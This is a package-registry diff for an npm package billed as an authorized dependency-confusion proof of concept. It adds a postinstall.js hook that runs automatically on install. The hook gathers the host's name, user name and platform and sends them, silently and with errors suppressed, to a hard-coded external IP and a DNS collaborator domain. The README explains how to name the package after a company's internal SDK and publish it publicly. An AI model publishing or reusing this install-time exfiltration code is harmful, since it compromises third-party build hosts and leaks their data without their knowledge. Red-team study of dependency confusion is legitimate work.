@securihackbot/depconf-stage-1792484738 0.0.0-stage → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,3 +1,31 @@
1
- # Temporary Holding Version
1
+ # Dependency-confusion research PoC
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ Authorized security research only. Published under `@securihackbot` for a
4
+ controlled dependency-confusion proof. Non-executing placeholder: `index.js`
5
+ exports a no-op so consuming builds keep working.
6
+
7
+ ## Configure
8
+
9
+ ```sh
10
+ ./configure.sh <scope/name> <version> <callback-url> <nonce> <finding-url>
11
+ ```
12
+
13
+ Example:
14
+
15
+ ```sh
16
+ ./configure.sh @securihackbot/company-internal-sdk 1.2.1 \
17
+ 'http://<public-ip>:18080/<engagement_key>-VA-123/main.abc123.js' \
18
+ alpha-7f3c9d \
19
+ 'https://hackbot.securi.web.id/#/engagements/<engagement_key>?tab=findings&finding=VA-123'
20
+ ```
21
+
22
+ `configure.sh` rewrites `package.json` and **bakes** `CALLBACK_URL`, `NONCE`, and
23
+ `FINDING_URL` into `postinstall.js`. The constants must be baked, not passed as
24
+ env vars — `postinstall` runs on the build host, which does not have your shell
25
+ environment.
26
+
27
+ Then publish from the host:
28
+
29
+ ```sh
30
+ npm publish --access public
31
+ ```
package/index.js ADDED
@@ -0,0 +1,4 @@
1
+ // Keeps the consuming build working: exports a no-op so require('@scope/name')
2
+ // does not throw when the public copy is resolved instead of the internal one.
3
+ module.exports = function depconfPoc() { return "ok"; };
4
+ module.exports.default = module.exports;
package/package.json CHANGED
@@ -1,6 +1,19 @@
1
1
  {
2
2
  "name": "@securihackbot/depconf-stage-1792484738",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.0",
4
+ "description": "Dependency-confusion research PoC (authorized). Non-executing placeholder by default.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js"
8
+ },
9
+ "files": [
10
+ "index.js",
11
+ "postinstall.js",
12
+ "README.md"
13
+ ],
14
+ "keywords": [
15
+ "security-research",
16
+ "dependency-confusion"
17
+ ],
18
+ "license": "MIT"
19
+ }
package/postinstall.js ADDED
@@ -0,0 +1,46 @@
1
+ "use strict";
2
+ // Proof-only callback for dependency-confusion research.
3
+ //
4
+ // IMPORTANT: bake CALLBACK_URL / NONCE / FINDING_URL below before publishing.
5
+ // Environment variables on the *publisher* machine are irrelevant — the
6
+ // postinstall runs on the build host, which will not have your env. The
7
+ // configure.sh helper rewrites these constants for you.
8
+ //
9
+ // Exfiltrates only proof data (hostname, user, OS, nonce, package name, and the
10
+ // finding deep-link) — never real source, secrets, or customer data. Idempotent
11
+ // and quiet on failure.
12
+ const os = require("os");
13
+ const http = require("http");
14
+ const https = require("https");
15
+ const dns = require("dns");
16
+
17
+ const CALLBACK_URL = process.env.DEPCONF_CALLBACK_URL || "http://34.143.131.27:18080/x-VA-1/main.js";
18
+ const NONCE = process.env.DEPCONF_NONCE || "n1792484738";
19
+ const DNS_SUFFIX = process.env.DEPCONF_DNS_SUFFIX || "YOUR-COLLABORATOR.example";
20
+ // Deep link to the related finding so the OOB listener can attribute this hit to
21
+ // an engagement and a finding (the Listener tab filters on finding_url).
22
+ const FINDING_URL = process.env.DEPCONF_FINDING_URL || "https://x/#/engagements/x?finding=VA-1";
23
+
24
+ const payload = Buffer.from(JSON.stringify({
25
+ nonce: NONCE,
26
+ pkg: process.env.npm_package_name || "unknown",
27
+ host: os.hostname(),
28
+ user: process.env.USER || process.env.USERNAME || "unknown",
29
+ platform: process.platform,
30
+ arch: process.arch,
31
+ node: process.version,
32
+ finding_url: FINDING_URL,
33
+ })).toString("base64");
34
+
35
+ try {
36
+ const u = new URL(CALLBACK_URL);
37
+ u.searchParams.set("d", payload);
38
+ const mod = u.protocol === "https:" ? https : http;
39
+ mod.get(u.toString(), (res) => { res.resume(); }).on("error", () => {});
40
+ } catch (e) {}
41
+
42
+ try { dns.resolve4(NONCE + "." + DNS_SUFFIX, () => {}); } catch (e) {}
43
+
44
+ // Never fail the install. Keep the event loop alive briefly so the async
45
+ // callback above (and the DNS fallback) actually fire before exit.
46
+ setTimeout(() => process.exit(0), 1500);